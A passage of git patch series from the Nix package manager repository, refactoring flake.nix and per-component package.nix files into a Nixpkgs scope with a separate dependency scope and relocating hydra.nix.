31cfa8adc..8a5d6de72 100644 --- a/src/libstore/build/worker.cc +++ b/src/libstore/build/worker.cc @@ -19,7 +19,6 @@ Worker::Worker(Store & store, Store & evalStore) , store(store) , evalStore(evalStore) { - /* Debugging: prevent recursive workers. */ nrLocalBuilds = 0; nrSubstitutions = 0; lastWokenUp = steady_time_point::min(); From 6fe8fb967a71e95f04e286ea5301d33f592788bf Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 1 Feb 2024 12:39:45 +0100 Subject: [PATCH 0895/1251] libstore/worker.hh: Document Worker --- src/libstore/build/worker.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/build/worker.hh b/src/libstore/build/worker.hh index 7d67030d7..33a7bf015 100644 --- a/src/libstore/build/worker.hh +++ b/src/libstore/build/worker.hh @@ -59,7 +59,7 @@ struct HookInstance; #endif /** - * The worker class. + * Coordinates one or more realisations and their interdependencies. */ class Worker { From e28e6b96bb671309218e5b9de56aeac22b2bf7be Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 26 Jun 2024 02:03:21 +0200 Subject: [PATCH 0896/1251] flake.nix: Tidy `packages` build matrix code flatMapAttrs is easier to read because it introduces the values before using them, kind of like a `let` bindings with multiple values. The repeated comments remind the reader of the purpose of the innermost attrsets, which is actually very simple. Knowing that they go right into the result should help a lot with building a mental model for this pattern. --- flake.nix | 62 +++++++++++++++++++++++++++++-------------------------- 1 file changed, 33 insertions(+), 29 deletions(-) diff --git a/flake.nix b/flake.nix index 35280f038..dfae6ce2d 100644 --- a/flake.nix +++ b/flake.nix @@ -351,36 +351,40 @@ // devFlake.checks.${system} or {} ); - packages = forAllSystems (system: { - inherit (nixpkgsFor.${system}.native) - changelog-d; - default = self.packages.${system}.nix; - nix-internal-api-docs = nixpkgsFor.${system}.native.nix-internal-api-docs; - nix-external-api-docs = nixpkgsFor.${system}.native.nix-external-api-docs; - } // lib.concatMapAttrs - # We need to flatten recursive attribute sets of derivations to pass `flake check`. - (pkgName: {}: { - "${pkgName}" = nixpkgsFor.${system}.native.${pkgName}; - "${pkgName}-static" = nixpkgsFor.${system}.static.${pkgName}; - } // lib.concatMapAttrs - (crossSystem: {}: { - "${pkgName}-${crossSystem}" = nixpkgsFor.${system}.cross.${crossSystem}.${pkgName}; - }) - (lib.genAttrs crossSystems (_: { })) - // lib.concatMapAttrs - (stdenvName: {}: { - "${pkgName}-${stdenvName}" = nixpkgsFor.${system}.stdenvs."${stdenvName}Packages".${pkgName}; - }) - (lib.genAttrs stdenvs (_: { }))) - { - "nix" = { }; - # Temporarily disabled because GitHub Actions OOM issues. Once - # the old build system is gone and we are back to one build - # system, we should reenable these. - #"nix-util" = { }; - #"nix-store" = { }; - #"nix-fetchers" = { }; + packages = forAllSystems (system: + { # Here we put attributes that map 1:1 into packages., ie + # for which we don't apply the full build matrix such as cross or static. + inherit (nixpkgsFor.${system}.native) + changelog-d; + default = self.packages.${system}.nix; + nix-internal-api-docs = nixpkgsFor.${system}.native.nix-internal-api-docs; + nix-external-api-docs = nixpkgsFor.${system}.native.nix-external-api-docs; } + # We need to flatten recursive attribute sets of derivations to pass `flake check`. + // flatMapAttrs + { # Components we'll iterate over in the upcoming lambda + "nix" = { }; + # Temporarily disabled because GitHub Actions OOM issues. Once + # the old build system is gone and we are back to one build + # system, we should reenable these. + #"nix-util" = { }; + #"nix-store" = { }; + #"nix-fetchers" = { }; + } + (pkgName: {}: { + # These attributes go right into `packages.`. + "${pkgName}" = nixpkgsFor.${system}.native.${pkgName}; + "${pkgName}-static" = nixpkgsFor.${system}.static.${pkgName}; + } + // flatMapAttrs (lib.genAttrs crossSystems (_: { })) (crossSystem: {}: { + # These attributes go right into `packages.`. + "${pkgName}-${crossSystem}" = nixpkgsFor.${system}.cross.${crossSystem}.${pkgName}; + }) + // flatMapAttrs (lib.genAttrs stdenvs (_: { })) (stdenvName: {}: { + # These attributes go right into `packages.`. + "${pkgName}-${stdenvName}" = nixpkgsFor.${system}.stdenvs."${stdenvName}Packages".${pkgName}; + }) + ) // lib.optionalAttrs (builtins.elem system linux64BitSystems) { dockerImage = let From a14faa869d12d6280ac5ebf94c585ef200bb4c9c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 26 Jun 2024 02:38:07 +0200 Subject: [PATCH 0897/1251] flake.nix: Use a Nixpkgs scope for components --- flake.nix | 97 +++++----------------------------------- packaging/components.nix | 86 +++++++++++++++++++++++++++++++++++ 2 files changed, 96 insertions(+), 87 deletions(-) create mode 100644 packaging/components.nix diff --git a/flake.nix b/flake.nix index dfae6ce2d..30a8e4354 100644 --- a/flake.nix +++ b/flake.nix @@ -172,93 +172,16 @@ }; }); - # TODO: define everything here instead of top level? - nix-components = { - inherit (final) - nix-util - nix-util-test-support - nix-util-test - nix-util-c - nix-store - nix-fetchers - nix-perl-bindings - ; - }; + # A new scope, so that we can use `callPackage` to inject our own interdependencies + # without "polluting" the top level "`pkgs`" attrset. + # This also has the benefit of providing us with a distinct set of packages + # we can iterate over. + nixComponents = lib.makeScope final.newScope (import ./packaging/components.nix { + pkgs = final; + inherit stdenv versionSuffix officialRelease; + }); - nix-util = final.callPackage ./src/libutil/package.nix { - inherit - fileset - stdenv - officialRelease - versionSuffix - ; - }; - - nix-util-test-support = final.callPackage ./tests/unit/libutil-support/package.nix { - inherit - fileset - stdenv - versionSuffix - ; - }; - - nix-util-test = final.callPackage ./tests/unit/libutil/package.nix { - inherit - fileset - stdenv - versionSuffix - ; - }; - - nix-util-c = final.callPackage ./src/libutil-c/package.nix { - inherit - fileset - stdenv - versionSuffix - ; - }; - - nix-store = final.callPackage ./src/libstore/package.nix { - inherit - fileset - stdenv - officialRelease - versionSuffix - ; - libseccomp = final.libseccomp-nix; - busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell; - }; - - nix-fetchers = final.callPackage ./src/libfetchers/package.nix { - inherit - fileset - stdenv - officialRelease - versionSuffix - ; - }; - - nix = - final.callPackage ./package.nix { - inherit - fileset - stdenv - officialRelease - versionSuffix - ; - boehmgc = final.boehmgc-nix; - libgit2 = final.libgit2-nix; - libseccomp = final.libseccomp-nix; - busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell; - }; - - nix-perl-bindings = final.callPackage ./src/perl/package.nix { - inherit - fileset - stdenv - versionSuffix - ; - }; + nix = final.nixComponents.nix; nix-internal-api-docs = final.callPackage ./src/internal-api-docs/package.nix { inherit @@ -340,7 +263,7 @@ "static-" = nixpkgsFor.${system}.static; }) (nixpkgsPrefix: nixpkgs: - flatMapAttrs nixpkgs.nix-components + flatMapAttrs nixpkgs.nixComponents (pkgName: pkg: flatMapAttrs pkg.tests or {} (testName: test: { diff --git a/packaging/components.nix b/packaging/components.nix new file mode 100644 index 000000000..af26e05ce --- /dev/null +++ b/packaging/components.nix @@ -0,0 +1,86 @@ +{pkgs, stdenv, officialRelease, versionSuffix}: scope: +let + inherit (scope) callPackage; + + # TODO: push fileset parameter into package.nix files as `lib` parameter + inherit (callPackage (args@{ lib }: args) {}) lib; + inherit (lib) fileset; +in + +# This becomes the pkgs.nixComponents attribute set +{ + # TODO: build the nix CLI with meson + nix = pkgs.callPackage ../package.nix { + inherit + fileset + stdenv + officialRelease + versionSuffix + ; + boehmgc = pkgs.boehmgc-nix; + libgit2 = pkgs.libgit2-nix; + libseccomp = pkgs.libseccomp-nix; + busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell; + }; + + nix-util = callPackage ../src/libutil/package.nix { + inherit + fileset + stdenv + officialRelease + versionSuffix + ; + }; + + nix-util-test-support = callPackage ../tests/unit/libutil-support/package.nix { + inherit + fileset + stdenv + versionSuffix + ; + }; + + nix-util-test = callPackage ../tests/unit/libutil/package.nix { + inherit + fileset + stdenv + versionSuffix + ; + }; + + nix-util-c = callPackage ../src/libutil-c/package.nix { + inherit + fileset + stdenv + versionSuffix + ; + }; + + nix-store = callPackage ../src/libstore/package.nix { + inherit + fileset + stdenv + officialRelease + versionSuffix + ; + libseccomp = pkgs.libseccomp-nix; + busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell; + }; + + nix-fetchers = callPackage ../src/libfetchers/package.nix { + inherit + fileset + stdenv + officialRelease + versionSuffix + ; + }; + + nix-perl-bindings = callPackage ../src/perl/package.nix { + inherit + fileset + stdenv + versionSuffix + ; + }; +} From d40c59ed194b715bffdcd40f4b654ebc60cf5be3 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 26 Jun 2024 02:44:21 +0200 Subject: [PATCH 0898/1251] flake.nix: Use the nixComponents scope instead of bare pkgs packages ... which aren't around anymore. --- flake.nix | 24 ++++++++++++------------ maintainers/hydra.nix | 11 +++++++---- 2 files changed, 19 insertions(+), 16 deletions(-) diff --git a/flake.nix b/flake.nix index 30a8e4354..a66603cc8 100644 --- a/flake.nix +++ b/flake.nix @@ -296,16 +296,16 @@ } (pkgName: {}: { # These attributes go right into `packages.`. - "${pkgName}" = nixpkgsFor.${system}.native.${pkgName}; - "${pkgName}-static" = nixpkgsFor.${system}.static.${pkgName}; + "${pkgName}" = nixpkgsFor.${system}.native.nixComponents.${pkgName}; + "${pkgName}-static" = nixpkgsFor.${system}.static.nixComponents.${pkgName}; } // flatMapAttrs (lib.genAttrs crossSystems (_: { })) (crossSystem: {}: { # These attributes go right into `packages.`. - "${pkgName}-${crossSystem}" = nixpkgsFor.${system}.cross.${crossSystem}.${pkgName}; + "${pkgName}-${crossSystem}" = nixpkgsFor.${system}.cross.${crossSystem}.nixComponents.${pkgName}; }) // flatMapAttrs (lib.genAttrs stdenvs (_: { })) (stdenvName: {}: { # These attributes go right into `packages.`. - "${pkgName}-${stdenvName}" = nixpkgsFor.${system}.stdenvs."${stdenvName}Packages".${pkgName}; + "${pkgName}-${stdenvName}" = nixpkgsFor.${system}.stdenvs."${stdenvName}Packages".nixComponents.${pkgName}; }) ) // lib.optionalAttrs (builtins.elem system linux64BitSystems) { @@ -367,17 +367,17 @@ }; mesonFlags = - map (transformFlag "libutil") pkgs.nix-util.mesonFlags - ++ map (transformFlag "libstore") pkgs.nix-store.mesonFlags - ++ map (transformFlag "libfetchers") pkgs.nix-fetchers.mesonFlags - ++ lib.optionals havePerl (map (transformFlag "perl") pkgs.nix-perl-bindings.mesonFlags) + map (transformFlag "libutil") pkgs.nixComponents.nix-util.mesonFlags + ++ map (transformFlag "libstore") pkgs.nixComponents.nix-store.mesonFlags + ++ map (transformFlag "libfetchers") pkgs.nixComponents.nix-fetchers.mesonFlags + ++ lib.optionals havePerl (map (transformFlag "perl") pkgs.nixComponents.nix-perl-bindings.mesonFlags) ; nativeBuildInputs = attrs.nativeBuildInputs or [] - ++ pkgs.nix-util.nativeBuildInputs - ++ pkgs.nix-store.nativeBuildInputs - ++ pkgs.nix-fetchers.nativeBuildInputs - ++ lib.optionals havePerl pkgs.nix-perl-bindings.nativeBuildInputs + ++ pkgs.nixComponents.nix-util.nativeBuildInputs + ++ pkgs.nixComponents.nix-store.nativeBuildInputs + ++ pkgs.nixComponents.nix-fetchers.nativeBuildInputs + ++ lib.optionals havePerl pkgs.nixComponents.nix-perl-bindings.nativeBuildInputs ++ pkgs.nix-internal-api-docs.nativeBuildInputs ++ pkgs.nix-external-api-docs.nativeBuildInputs ++ [ diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix index 9e6f2c468..b03cbdfa0 100644 --- a/maintainers/hydra.nix +++ b/maintainers/hydra.nix @@ -33,6 +33,9 @@ let doBuild = false; }; + # Technically we could just return `pkgs.nixComponents`, but for Hydra it's + # convention to transpose it, and to transpose it efficiently, we need to + # enumerate them manually, so that we don't evaluate unnecessary package sets. forAllPackages = lib.genAttrs [ "nix" "nix-util" @@ -46,16 +49,16 @@ in { # Binary package for various platforms. build = forAllPackages (pkgName: - forAllSystems (system: nixpkgsFor.${system}.native.${pkgName})); + forAllSystems (system: nixpkgsFor.${system}.native.nixComponents.${pkgName})); shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation); buildStatic = forAllPackages (pkgName: - lib.genAttrs linux64BitSystems (system: nixpkgsFor.${system}.static.${pkgName})); + lib.genAttrs linux64BitSystems (system: nixpkgsFor.${system}.static.nixComponents.${pkgName})); buildCross = forAllPackages (pkgName: forAllCrossSystems (crossSystem: - lib.genAttrs [ "x86_64-linux" ] (system: nixpkgsFor.${system}.cross.${crossSystem}.${pkgName}))); + lib.genAttrs [ "x86_64-linux" ] (system: nixpkgsFor.${system}.cross.${crossSystem}.nixComponents.${pkgName}))); buildNoGc = forAllSystems (system: self.packages.${system}.nix.override { enableGC = false; } @@ -73,7 +76,7 @@ in ); # Perl bindings for various platforms. - perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix-perl-bindings); + perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nixComponents.nix-perl-bindings); # Binary tarball for various platforms, containing a Nix store # with the closure of 'nix' package, and the second half of From 85de5a60c77c256d5e57943becb683f50f9d7537 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 26 Jun 2024 03:18:01 +0200 Subject: [PATCH 0899/1251] Use lib instead of explicit fileset passing --- flake.nix | 2 -- maintainers/hydra.nix | 3 --- package.nix | 6 ++---- packaging/components.nix | 16 ---------------- src/external-api-docs/package.nix | 6 ++++-- src/internal-api-docs/package.nix | 6 ++++-- src/libfetchers/package.nix | 6 ++---- src/libstore/package.nix | 5 ++--- src/libutil-c/package.nix | 3 ++- src/libutil/package.nix | 4 ++-- src/perl/package.nix | 5 ++++- tests/unit/libutil-support/package.nix | 3 ++- tests/unit/libutil/package.nix | 3 ++- 13 files changed, 26 insertions(+), 42 deletions(-) diff --git a/flake.nix b/flake.nix index a66603cc8..7fc491035 100644 --- a/flake.nix +++ b/flake.nix @@ -185,7 +185,6 @@ nix-internal-api-docs = final.callPackage ./src/internal-api-docs/package.nix { inherit - fileset stdenv versionSuffix ; @@ -193,7 +192,6 @@ nix-external-api-docs = final.callPackage ./src/external-api-docs/package.nix { inherit - fileset stdenv versionSuffix ; diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix index b03cbdfa0..98d8b3961 100644 --- a/maintainers/hydra.nix +++ b/maintainers/hydra.nix @@ -9,7 +9,6 @@ }: let inherit (inputs) nixpkgs nixpkgs-regression; - inherit (lib) fileset; installScriptFor = tarballs: nixpkgsFor.x86_64-linux.native.callPackage ../scripts/installer.nix { @@ -25,8 +24,6 @@ let lib.versionAtLeast client.version "2.4pre20211005") "-${client.version}-against-${daemon.version}"; - inherit fileset; - test-client = client; test-daemon = daemon; diff --git a/package.nix b/package.nix index f414b9a73..9a6fc272a 100644 --- a/package.nix +++ b/package.nix @@ -1,12 +1,10 @@ { lib -, fetchurl , stdenv , releaseTools , autoconf-archive , autoreconfHook , aws-sdk-cpp , boehmgc -, buildPackages , nlohmann_json , bison , boost @@ -15,7 +13,6 @@ , curl , editline , readline -, fileset , flex , git , gtest @@ -50,7 +47,6 @@ , pname ? "nix" , versionSuffix ? "" -, officialRelease ? false # Whether to build Nix. Useful to skip for tasks like testing existing pre-built versions of Nix , doBuild ? true @@ -113,6 +109,8 @@ }: let + inherit (lib) fileset; + version = lib.fileContents ./.version + versionSuffix; # selected attributes with defaults, will be used to define some diff --git a/packaging/components.nix b/packaging/components.nix index af26e05ce..d3809ff38 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -1,10 +1,6 @@ {pkgs, stdenv, officialRelease, versionSuffix}: scope: let inherit (scope) callPackage; - - # TODO: push fileset parameter into package.nix files as `lib` parameter - inherit (callPackage (args@{ lib }: args) {}) lib; - inherit (lib) fileset; in # This becomes the pkgs.nixComponents attribute set @@ -12,9 +8,7 @@ in # TODO: build the nix CLI with meson nix = pkgs.callPackage ../package.nix { inherit - fileset stdenv - officialRelease versionSuffix ; boehmgc = pkgs.boehmgc-nix; @@ -25,16 +19,13 @@ in nix-util = callPackage ../src/libutil/package.nix { inherit - fileset stdenv - officialRelease versionSuffix ; }; nix-util-test-support = callPackage ../tests/unit/libutil-support/package.nix { inherit - fileset stdenv versionSuffix ; @@ -42,7 +33,6 @@ in nix-util-test = callPackage ../tests/unit/libutil/package.nix { inherit - fileset stdenv versionSuffix ; @@ -50,7 +40,6 @@ in nix-util-c = callPackage ../src/libutil-c/package.nix { inherit - fileset stdenv versionSuffix ; @@ -58,9 +47,7 @@ in nix-store = callPackage ../src/libstore/package.nix { inherit - fileset stdenv - officialRelease versionSuffix ; libseccomp = pkgs.libseccomp-nix; @@ -69,16 +56,13 @@ in nix-fetchers = callPackage ../src/libfetchers/package.nix { inherit - fileset stdenv - officialRelease versionSuffix ; }; nix-perl-bindings = callPackage ../src/perl/package.nix { inherit - fileset stdenv versionSuffix ; diff --git a/src/external-api-docs/package.nix b/src/external-api-docs/package.nix index aa5cd49eb..352698360 100644 --- a/src/external-api-docs/package.nix +++ b/src/external-api-docs/package.nix @@ -1,7 +1,5 @@ { lib , stdenv -, releaseTools -, fileset , meson , ninja @@ -12,6 +10,10 @@ , versionSuffix ? "" }: +let + inherit (lib) fileset; +in + stdenv.mkDerivation (finalAttrs: { pname = "nix-external-api-docs"; version = lib.fileContents ./.version + versionSuffix; diff --git a/src/internal-api-docs/package.nix b/src/internal-api-docs/package.nix index b5f1b0da1..fa54d55f3 100644 --- a/src/internal-api-docs/package.nix +++ b/src/internal-api-docs/package.nix @@ -1,7 +1,5 @@ { lib , stdenv -, releaseTools -, fileset , meson , ninja @@ -12,6 +10,10 @@ , versionSuffix ? "" }: +let + inherit (lib) fileset; +in + stdenv.mkDerivation (finalAttrs: { pname = "nix-internal-api-docs"; version = lib.fileContents ./.version + versionSuffix; diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix index 800256030..a5583d14c 100644 --- a/src/libfetchers/package.nix +++ b/src/libfetchers/package.nix @@ -1,7 +1,6 @@ { lib , stdenv , releaseTools -, fileset , meson , ninja @@ -16,17 +15,16 @@ # Configuration Options , versionSuffix ? "" -, officialRelease ? false # Check test coverage of Nix. Probably want to use with with at least # one of `doCheck` or `doInstallCheck` enabled. , withCoverageChecks ? false -# Avoid setting things that would interfere with a functioning devShell -, forDevShell ? false }: let + inherit (lib) fileset; + version = lib.fileContents ./.version + versionSuffix; mkDerivation = diff --git a/src/libstore/package.nix b/src/libstore/package.nix index e54dfe597..e118f3cd2 100644 --- a/src/libstore/package.nix +++ b/src/libstore/package.nix @@ -1,7 +1,6 @@ { lib , stdenv , releaseTools -, fileset , meson , ninja @@ -13,7 +12,6 @@ , aws-sdk-cpp , libseccomp , nlohmann_json -, man , sqlite , busybox-sandbox-shell ? null @@ -21,7 +19,6 @@ # Configuration Options , versionSuffix ? "" -, officialRelease ? false # Check test coverage of Nix. Probably want to use with at least # one of `doCheck` or `doInstallCheck` enabled. @@ -32,6 +29,8 @@ }: let + inherit (lib) fileset; + version = lib.fileContents ./.version + versionSuffix; mkDerivation = diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix index a45b36d4c..05a26c17e 100644 --- a/src/libutil-c/package.nix +++ b/src/libutil-c/package.nix @@ -1,7 +1,6 @@ { lib , stdenv , releaseTools -, fileset , meson , ninja @@ -19,6 +18,8 @@ }: let + inherit (lib) fileset; + version = lib.fileContents ./.version + versionSuffix; mkDerivation = diff --git a/src/libutil/package.nix b/src/libutil/package.nix index b36e3879c..892951cdf 100644 --- a/src/libutil/package.nix +++ b/src/libutil/package.nix @@ -1,7 +1,6 @@ { lib , stdenv , releaseTools -, fileset , meson , ninja @@ -18,7 +17,6 @@ # Configuration Options , versionSuffix ? "" -, officialRelease ? false # Check test coverage of Nix. Probably want to use with at least # one of `doCheck` or `doInstallCheck` enabled. @@ -26,6 +24,8 @@ }: let + inherit (lib) fileset; + version = lib.fileContents ./.version + versionSuffix; mkDerivation = diff --git a/src/perl/package.nix b/src/perl/package.nix index a31b1b66c..85f1547b7 100644 --- a/src/perl/package.nix +++ b/src/perl/package.nix @@ -1,5 +1,4 @@ { lib -, fileset , stdenv , perl , perlPackages @@ -16,6 +15,10 @@ , versionSuffix ? "" }: +let + inherit (lib) fileset; +in + perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: { pname = "nix-perl"; version = lib.fileContents ./.version + versionSuffix; diff --git a/tests/unit/libutil-support/package.nix b/tests/unit/libutil-support/package.nix index caa37b748..0be0a9945 100644 --- a/tests/unit/libutil-support/package.nix +++ b/tests/unit/libutil-support/package.nix @@ -1,7 +1,6 @@ { lib , stdenv , releaseTools -, fileset , meson , ninja @@ -21,6 +20,8 @@ }: let + inherit (lib) fileset; + version = lib.fileContents ./.version + versionSuffix; mkDerivation = diff --git a/tests/unit/libutil/package.nix b/tests/unit/libutil/package.nix index 7a09e4aa5..391f8d853 100644 --- a/tests/unit/libutil/package.nix +++ b/tests/unit/libutil/package.nix @@ -1,7 +1,6 @@ { lib , stdenv , releaseTools -, fileset , meson , ninja @@ -25,6 +24,8 @@ }: let + inherit (lib) fileset; + version = lib.fileContents ./.version + versionSuffix; mkDerivation = From 74b9b77c9f05099c2bb207890d0728455a85efa7 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 26 Jun 2024 03:33:30 +0200 Subject: [PATCH 0900/1251] components.nix: Simplify with scope --- flake.nix | 2 +- packaging/components.nix | 71 +++++++++------------------------------- 2 files changed, 16 insertions(+), 57 deletions(-) diff --git a/flake.nix b/flake.nix index 7fc491035..ed330b669 100644 --- a/flake.nix +++ b/flake.nix @@ -178,7 +178,7 @@ # we can iterate over. nixComponents = lib.makeScope final.newScope (import ./packaging/components.nix { pkgs = final; - inherit stdenv versionSuffix officialRelease; + inherit stdenv versionSuffix; }); nix = final.nixComponents.nix; diff --git a/packaging/components.nix b/packaging/components.nix index d3809ff38..7cef0e356 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -1,70 +1,29 @@ -{pkgs, stdenv, officialRelease, versionSuffix}: scope: +{pkgs, stdenv, versionSuffix}: scope: let inherit (scope) callPackage; in # This becomes the pkgs.nixComponents attribute set { - # TODO: build the nix CLI with meson - nix = pkgs.callPackage ../package.nix { - inherit - stdenv - versionSuffix - ; - boehmgc = pkgs.boehmgc-nix; - libgit2 = pkgs.libgit2-nix; - libseccomp = pkgs.libseccomp-nix; - busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell; - }; + inherit stdenv versionSuffix; + libseccomp = pkgs.libseccomp-nix; + boehmgc = pkgs.boehmgc-nix; + libgit2 = pkgs.libgit2-nix; + busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell; - nix-util = callPackage ../src/libutil/package.nix { - inherit - stdenv - versionSuffix - ; - }; + nix = callPackage ../package.nix { }; - nix-util-test-support = callPackage ../tests/unit/libutil-support/package.nix { - inherit - stdenv - versionSuffix - ; - }; + nix-util = callPackage ../src/libutil/package.nix { }; - nix-util-test = callPackage ../tests/unit/libutil/package.nix { - inherit - stdenv - versionSuffix - ; - }; + nix-util-test-support = callPackage ../tests/unit/libutil-support/package.nix { }; - nix-util-c = callPackage ../src/libutil-c/package.nix { - inherit - stdenv - versionSuffix - ; - }; + nix-util-test = callPackage ../tests/unit/libutil/package.nix { }; - nix-store = callPackage ../src/libstore/package.nix { - inherit - stdenv - versionSuffix - ; - libseccomp = pkgs.libseccomp-nix; - busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell; - }; + nix-util-c = callPackage ../src/libutil-c/package.nix { }; - nix-fetchers = callPackage ../src/libfetchers/package.nix { - inherit - stdenv - versionSuffix - ; - }; + nix-store = callPackage ../src/libstore/package.nix { }; - nix-perl-bindings = callPackage ../src/perl/package.nix { - inherit - stdenv - versionSuffix - ; - }; + nix-fetchers = callPackage ../src/libfetchers/package.nix { }; + + nix-perl-bindings = callPackage ../src/perl/package.nix { }; } From ebf77c79ae1cd1516117311c6315bd8c56b8b837 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 26 Jun 2024 03:36:03 +0200 Subject: [PATCH 0901/1251] flake.nix: Use Nixpkgs convention for package variants --- flake.nix | 6 +++--- packaging/components.nix | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/flake.nix b/flake.nix index ed330b669..d49bccda8 100644 --- a/flake.nix +++ b/flake.nix @@ -153,18 +153,18 @@ ''; }; - libgit2-nix = final.libgit2.overrideAttrs (attrs: { + libgit2_nix = final.libgit2.overrideAttrs (attrs: { src = libgit2; version = libgit2.lastModifiedDate; cmakeFlags = attrs.cmakeFlags or [] ++ [ "-DUSE_SSH=exec" ]; }); - boehmgc-nix = final.boehmgc.override { + boehmgc_nix = final.boehmgc.override { enableLargeConfig = true; }; - libseccomp-nix = final.libseccomp.overrideAttrs (_: rec { + libseccomp_nix = final.libseccomp.overrideAttrs (_: rec { version = "2.5.5"; src = final.fetchurl { url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz"; diff --git a/packaging/components.nix b/packaging/components.nix index 7cef0e356..2d06cfec4 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -6,9 +6,9 @@ in # This becomes the pkgs.nixComponents attribute set { inherit stdenv versionSuffix; - libseccomp = pkgs.libseccomp-nix; - boehmgc = pkgs.boehmgc-nix; - libgit2 = pkgs.libgit2-nix; + libseccomp = pkgs.libseccomp_nix; + boehmgc = pkgs.boehmgc_nix; + libgit2 = pkgs.libgit2_nix; busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell; nix = callPackage ../package.nix { }; From 25dc12aab139b4bd3438c764a1d479ae8517a81a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 26 Jun 2024 03:58:47 +0200 Subject: [PATCH 0902/1251] components.nix: Extract dependency scope This avoids polluting nixComponents with things that aren't our components. Fixes the extraction of passthru tests, which failed for boehmgc which had many irrelevant ones anyway. --- flake.nix | 12 +++++++++++- packaging/components.nix | 6 ------ 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/flake.nix b/flake.nix index d49bccda8..870b82950 100644 --- a/flake.nix +++ b/flake.nix @@ -176,11 +176,21 @@ # without "polluting" the top level "`pkgs`" attrset. # This also has the benefit of providing us with a distinct set of packages # we can iterate over. - nixComponents = lib.makeScope final.newScope (import ./packaging/components.nix { + nixComponents = lib.makeScope final.nixDependencies.newScope (import ./packaging/components.nix { pkgs = final; inherit stdenv versionSuffix; }); + # The dependencies are in their own scope, so that they don't have to be + # in Nixpkgs top level `pkgs` or `nixComponents`. + nixDependencies = lib.makeScope final.newScope (scope: { + inherit stdenv versionSuffix; + libseccomp = final.libseccomp_nix; + boehmgc = final.boehmgc_nix; + libgit2 = final.libgit2_nix; + busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell; + }); + nix = final.nixComponents.nix; nix-internal-api-docs = final.callPackage ./src/internal-api-docs/package.nix { diff --git a/packaging/components.nix b/packaging/components.nix index 2d06cfec4..e1e73d4c0 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -5,12 +5,6 @@ in # This becomes the pkgs.nixComponents attribute set { - inherit stdenv versionSuffix; - libseccomp = pkgs.libseccomp_nix; - boehmgc = pkgs.boehmgc_nix; - libgit2 = pkgs.libgit2_nix; - busybox-sandbox-shell = pkgs.busybox-sandbox-shell or pkgs.default-busybox-sandbox-shell; - nix = callPackage ../package.nix { }; nix-util = callPackage ../src/libutil/package.nix { }; From c24dbf14571cd59ef4e7b2a3470c61760a6a6aa4 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 26 Jun 2024 04:17:30 +0200 Subject: [PATCH 0903/1251] components.nix: Simplify --- flake.nix | 5 +---- packaging/components.nix | 2 +- 2 files changed, 2 insertions(+), 5 deletions(-) diff --git a/flake.nix b/flake.nix index 870b82950..90a48a382 100644 --- a/flake.nix +++ b/flake.nix @@ -176,10 +176,7 @@ # without "polluting" the top level "`pkgs`" attrset. # This also has the benefit of providing us with a distinct set of packages # we can iterate over. - nixComponents = lib.makeScope final.nixDependencies.newScope (import ./packaging/components.nix { - pkgs = final; - inherit stdenv versionSuffix; - }); + nixComponents = lib.makeScope final.nixDependencies.newScope (import ./packaging/components.nix); # The dependencies are in their own scope, so that they don't have to be # in Nixpkgs top level `pkgs` or `nixComponents`. diff --git a/packaging/components.nix b/packaging/components.nix index e1e73d4c0..f96ac6b51 100644 --- a/packaging/components.nix +++ b/packaging/components.nix @@ -1,4 +1,4 @@ -{pkgs, stdenv, versionSuffix}: scope: +scope: let inherit (scope) callPackage; in From 65802da98db906e61a810e686e140536d3ab4e54 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 26 Jun 2024 04:24:50 +0200 Subject: [PATCH 0904/1251] Move maintainers/hydra.nix -> packaging/hydra.nix --- flake.nix | 2 +- {maintainers => packaging}/hydra.nix | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename {maintainers => packaging}/hydra.nix (100%) diff --git a/flake.nix b/flake.nix index 90a48a382..510df73f1 100644 --- a/flake.nix +++ b/flake.nix @@ -224,7 +224,7 @@ # 'nix-perl-bindings' packages. overlays.default = overlayFor (p: p.stdenv); - hydraJobs = import ./maintainers/hydra.nix { + hydraJobs = import ./packaging/hydra.nix { inherit inputs binaryTarball diff --git a/maintainers/hydra.nix b/packaging/hydra.nix similarity index 100% rename from maintainers/hydra.nix rename to packaging/hydra.nix From 409eded5415f00c2cc7ef6e124a51c1bb0290df1 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: 